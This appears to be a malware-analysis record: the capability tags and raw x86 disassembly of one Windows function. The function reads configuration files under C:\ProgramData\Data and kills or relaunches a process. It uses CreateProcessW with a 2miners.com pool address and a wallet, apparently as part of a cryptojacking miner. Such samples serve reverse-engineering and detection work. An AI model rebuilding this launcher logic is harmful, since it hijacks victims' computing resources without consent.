Function at 0x4064e0
Capabilities:
Create process on windows
Terminate process

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4518df
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x310
mov eax, dword [0x4691b4]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xorps xmm0, xmm0
mov dword [ebp - 0x18], 0
movq qword [ebp - 0x20], xmm0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 4], 0
xor eax, eax
movups xmmword [ebp - 0x98], xmm0
mov dword [ebp - 0x88], 0
mov dword [ebp - 0x84], 7
mov word [ebp - 0x98], ax
push 0xb8
push eax
lea eax, [ebp - 0x208]
mov byte [ebp - 4], 1
push eax
call fcn.00425ee0
push str.C:ProgramDataDataprocess.txt
lea ecx, [ebp - 0x208]
call fcn.00408b70
push 0xb8
lea eax, [ebp - 0x2c0]
mov byte [ebp - 4], 2
push 0
push eax
call fcn.00425ee0
push str.C:ProgramDataData_name.txt
lea ecx, [ebp - 0x2c0]
call fcn.00409d10
lea ecx, [ebp - 0x319]
mov byte [ebp - 4], 3
lea eax, [ebp - 0x318]
mov byte [ebp - 0x319], 0
sub eax, ecx
mov dword [ebp - 0x58], 0
push eax
mov eax, ecx
mov dword [ebp - 0x54], 0xf
xorps xmm0, xmm0
lea ecx, [ebp - 0x68]
movups xmmword [ebp - 0x68], xmm0
push eax
mov byte [ebp - 0x68], 0
call fcn.0040b140
lea edx, [ebp - 0x68]
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x2c0]
call fcn.0040b9e0
lea ecx, [ebp - 0x2b0]
call fcn.0040ad30
test eax, eax
jne 0x406645
mov eax, dword [ebp - 0x2c0]
lea ecx, [ebp - 0x2c0]
push 0
add ecx, dword [eax + 4]
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.004029c0
push 0x14
xorps xmm0, xmm0
mov dword [ebp - 0x28], 0
push 0x4638a4
lea ecx, [ebp - 0x38]
mov dword [ebp - 0x24], 0
movups xmmword [ebp - 0x38], xmm0
call fcn.0040c460
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x68]
cmp dword [ebp - 0x54], 0x10
mov edx, dword [ebp - 0x28]
cmovae ecx, dword [ebp - 0x68]
mov eax, dword [ebp - 0x24]
mov edi, dword [ebp - 0x58]
sub eax, edx
mov dword [ebp - 0x320], edx
push edi
push ecx
cmp edi, eax
ja 0x4066bb
cmp dword [ebp - 0x24], 0x10
lea esi, [ebp - 0x38]
lea eax, [edi + edx]
cmovae esi, dword [ebp - 0x38]
mov dword [ebp - 0x28], eax
lea eax, [esi + edx]
push eax
call fcn.004260f0
mov ecx, dword [ebp - 0x320]
lea eax, [edi + esi]
add esp, 0xc
mov byte [eax + ecx], 0
jmp 0x4066d1
mov byte [ebp - 0x320], 0
lea ecx, [ebp - 0x38]
push dword [ebp - 0x320]
push edi
call fcn.0040c300
cmp dword [ebp - 0x24], 0x10
lea ecx, [ebp - 0x38]
mov eax, dword [ebp - 0x28]
cmovae ecx, dword [ebp - 0x38]
mov edi, dword [ebp - 0x68]
add eax, ecx
cmp dword [ebp - 0x24], 0x10
lea ecx, [ebp - 0x38]
cmovae ecx, dword [ebp - 0x38]
push ecx
push eax
push ecx
lea ecx, [ebp - 0x80]
call fcn.0040ba80
cmp dword [ebp - 0x6c], 8
lea eax, [ebp - 0x80]
cmovae eax, dword [ebp - 0x80]
mov dword [ebp - 0x320], eax
nop dword [eax + eax]
mov eax, dword [ebp - 0x208]
mov eax, dword [eax + 4]
mov eax, dword [ebp + eax - 0x1d8]
mov ecx, dword [eax + 4]
mov dword [ebp - 0x30c], ecx
mov eax, dword [ecx]
call dword [eax + 4]
lea eax, [ebp - 0x310]
mov byte [ebp - 4], 7
push eax
call fcn.0040c9e0
add esp, 4
mov ecx, dword [eax]
push 0xa
mov edx, dword [ecx + 0x30]
mov ecx, eax
call edx
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0x30c]
movzx esi, ax
test ecx, ecx
je 0x406772
mov eax, dword [ecx]
mov eax, dword [eax + 8]
call eax
test eax, eax
je 0x406772
mov ecx, dword [eax]
push 1
mov edx, dword [ecx]
mov ecx, eax
call edx
push esi
lea edx, [ebp - 0x98]
lea ecx, [ebp - 0x208]
call fcn.0040d140
add esp, 4
mov ecx, dword [eax]
mov ecx, dword [ecx + 4]
test byte [ecx + eax + 0xc], 6
jne 0x4067c0
mov eax, dword [ebp - 0x1c]
lea ecx, [ebp - 0x98]
push ecx
cmp eax, dword [ebp - 0x18]
je 0x4067b2
mov ecx, eax
call fcn.0040a0f0
add dword [ebp - 0x1c], 0x18
jmp 0x406710
push eax
lea ecx, [ebp - 0x20]
call fcn.0040d5e0
jmp 0x406710
lea ecx, [ebp - 0x1f8]
call fcn.0040ab00
test eax, eax
jne 0x4067f8
mov eax, dword [ebp - 0x208]
lea ecx, [ebp - 0x208]
push 0
add ecx, dword [eax + 4]
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.004029c0
push 0xb8
lea eax, [ebp - 0x150]
push 0
push eax
call fcn.00425ee0
push str.C:ProgramDataData_name.txt
lea ecx, [ebp - 0x150]
call fcn.00408b70
xorps xmm0, xmm0
mov dword [ebp - 0x40], 0
xor eax, eax
mov dword [ebp - 0x3c], 7
movups xmmword [ebp - 0x50], xmm0
mov word [ebp - 0x50], ax
mov eax, dword [ebp - 0x150]
mov eax, dword [eax + 4]
mov eax, dword [ebp + eax - 0x120]
mov ecx, dword [eax + 4]
mov dword [ebp - 0x30c], ecx
mov eax, dword [ecx]
call dword [eax + 4]
lea eax, [ebp - 0x310]
mov byte [ebp - 4], 0xa
push eax
call fcn.0040c9e0
add esp, 4
mov ecx, dword [eax]
push 0xa
mov edx, dword [ecx + 0x30]
mov ecx, eax
call edx
mov byte [ebp - 4], 9
mov ecx, dword [ebp - 0x30c]
movzx esi, ax
test ecx, ecx
je 0x406898
mov eax, dword [ecx]
mov eax, dword [eax + 8]
call eax
test eax, eax
je 0x406898
mov ecx, dword [eax]
push 1
mov edx, dword [ecx]
mov ecx, eax
call edx
push esi
lea edx, [ebp - 0x50]
lea ecx, [ebp - 0x150]
call fcn.0040d140
add esp, 4
lea ecx, [ebp - 0x140]
call fcn.0040ab00
test eax, eax
jne 0x4068e2
mov eax, dword [ebp - 0x150]
lea ecx, [ebp - 0x150]
push 0
add ecx, dword [eax + 4]
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.004029c0
lea ecx, [ebp - 0x20]
call fcn.00405a60
test eax, eax
je 0x40691e
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0x3c], 8
lea ecx, [ebp - 0x50]
cmovae ecx, dword [ebp - 0x50]
call fcn.00405b80
mov esi, eax
test esi, esi
je 0x4069a8
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
jmp 0x4069a2
cmp dword [ebp - 0x3c], 8
lea ecx, [ebp - 0x50]
cmovae ecx, dword [ebp - 0x50]
call fcn.00405b80
test eax, eax
jne 0x4069a1
push 0x44
push eax
lea eax, [ebp - 0x308]
push eax
call fcn.00425ee0
add esp, 0xc
mov dword [ebp - 0x2dc], 1
lea eax, [ebp - 0x318]
xorps xmm0, xmm0
movups xmmword [ebp - 0x318], xmm0
push eax
lea eax, [ebp - 0x308]
push eax
push 0
push 0
push 8
push 0
push 0
push 0
push str.__pool_etc.2miners.com:1010__wal_0xde79cfd33D4fE810AC4BD8769424Bf0F63033D99__worker_server__pass_PASSWORD__log_0
push dword [ebp - 0x320]
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push dword [ebp - 0x318]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x314]
call esi
jmp 0x4069a8
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov byte [ebp - 4], 8
mov ecx, dword [ebp - 0x3c]
cmp ecx, 8
jb 0x4069e6
mov edx, dword [ebp - 0x50]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4069dc
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x406cdf
push ecx
push edx
call fcn.00424e41
add esp, 8
xor eax, eax
mov dword [ebp - 0x40], 0
mov word [ebp - 0x50], ax
mov eax, dword [ebp - 0x150]
mov dword [ebp - 0x3c], 7
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ifstream_wchar_t__struct_std::char_traits_wchar_t__.virtual_0], vtable.std::basic_ifstream_wchar_t__struct_std::char_traits_wchar_t__.0
mov eax, dword [ebp - 0x150]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x70]
mov dword [ebp + ecx - 0x154], eax
lea ecx, [ebp - 0x140]
call fcn.004087e0
mov eax, dword [ebp - 0x150]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_istream_wchar_t__struct_std::char_traits_wchar_t__.virtual_0], vtable.std::basic_istream_wchar_t__struct_std::char_traits_wchar_t__.0
mov eax, dword [ebp - 0x150]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x18]
mov dword [ebp + ecx - 0x154], eax
lea eax, [ebp - 0xe0]
mov byte [ebp - 4], 0xb
push eax
mov dword [ebp - 0xe0], vtable.std::ios_base.0
call fcn.004240c0
mov byte [ebp - 4], 5
add esp, 4
mov ecx, dword [ebp - 0x6c]
cmp ecx, 8
jb 0x406aae
mov edx, dword [ebp - 0x80]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x406aa4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x406cdf
push ecx
push edx
call fcn.00424e41
add esp, 8
xor eax, eax
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x70], 0
mov dword [ebp - 0x6c], 7
mov word [ebp - 0x80], ax
cmp ecx, 0x10
jb 0x406afa
mov edx, dword [ebp - 0x38]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x406af0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x406cdf
push ecx
push edx
call fcn.00424e41
add esp, 8
mov byte [ebp - 4], 3
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x24], 0xf
mov byte [ebp - 0x38], 0
cmp eax, 0x10
jb 0x406b43
lea ecx, [eax + 1]
mov eax, edi
cmp ecx, 0x1000
jb 0x406b39
mov edi, dword [eax - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x406cdf
push ecx
push edi
call fcn.00424e41
add esp, 8
mov eax, dword [ebp - 0x2c0]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ifstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x2c0]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x70]
mov dword [ebp + ecx - 0x2c4], eax
lea ecx, [ebp - 0x2b0]
call fcn.00409c60
mov eax, dword [ebp - 0x2c0]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_istream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x2c0]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x18]
mov dword [ebp + ecx - 0x2c4], eax
lea eax, [ebp - 0x250]
mov byte [ebp - 4], 0xc
push eax
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.004240c0
mov eax, dword [ebp - 0x208]
add esp, 4
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ifstream_wchar_t__struct_std::char_traits_wchar_t__.virtual_0], vtable.std::basic_ifstream_wchar_t__struct_std::char_traits_wchar_t__.0
mov eax, dword [ebp - 0x208]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x70]
mov dword [ebp + ecx - 0x20c], eax
lea ecx, [ebp - 0x1f8]
call fcn.004087e0
mov eax, dword [ebp - 0x208]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_istream_wchar_t__struct_std::char_traits_wchar_t__.virtual_0], vtable.std::basic_istream_wchar_t__struct_std::char_traits_wchar_t__.0
mov eax, dword [ebp - 0x208]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x18]
mov dword [ebp + ecx - 0x20c], eax
lea eax, [ebp - 0x198]
mov byte [ebp - 4], 0xd
push eax
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.004240c0
mov ecx, dword [ebp - 0x84]
add esp, 4
cmp ecx, 8
jb 0x406c6b
mov edx, dword [ebp - 0x98]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x406c61
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x406cdf
push ecx
push edx
call fcn.00424e41
add esp, 8
mov ecx, dword [ebp - 0x20]
test ecx, ecx
je 0x406cc1
mov edx, dword [ebp - 0x1c]
push ecx
call fcn.0040c550
mov ecx, dword [ebp - 0x18]
mov eax, 0x2aaaaaab
mov esi, dword [ebp - 0x20]
add esp, 4
sub ecx, esi
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
lea ecx, [eax + eax*2]
mov eax, esi
shl ecx, 3
cmp ecx, 0x1000
jb 0x406cb7
mov esi, dword [eax - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x406cdf
push ecx
push esi
call fcn.00424e41
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.004249b0
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.0042b71c
int3